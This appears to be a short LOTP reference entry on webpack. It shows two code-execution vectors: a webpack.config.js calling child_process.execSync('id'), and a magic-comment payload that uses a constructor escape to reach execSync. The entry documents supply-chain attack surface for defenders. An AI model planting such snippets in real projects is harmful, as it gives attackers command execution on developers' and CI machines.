LOTP

webpack

cli config-file eval-js

References

webpack is a javascript bundler.

Config

webpack will load and execute configuration webpack.config.js in the current directory.

require("child_process").execSync("id");

Comments

webpack will execute magic comments in analyzed files.

import(
    /* webpackChunkName: this.constructor.constructor(`(function() {
     let require = process.mainModule.require;
     let child_process = require('child_process');
     child_process.execSync('id');
   })()`)() */
    "buffer"
);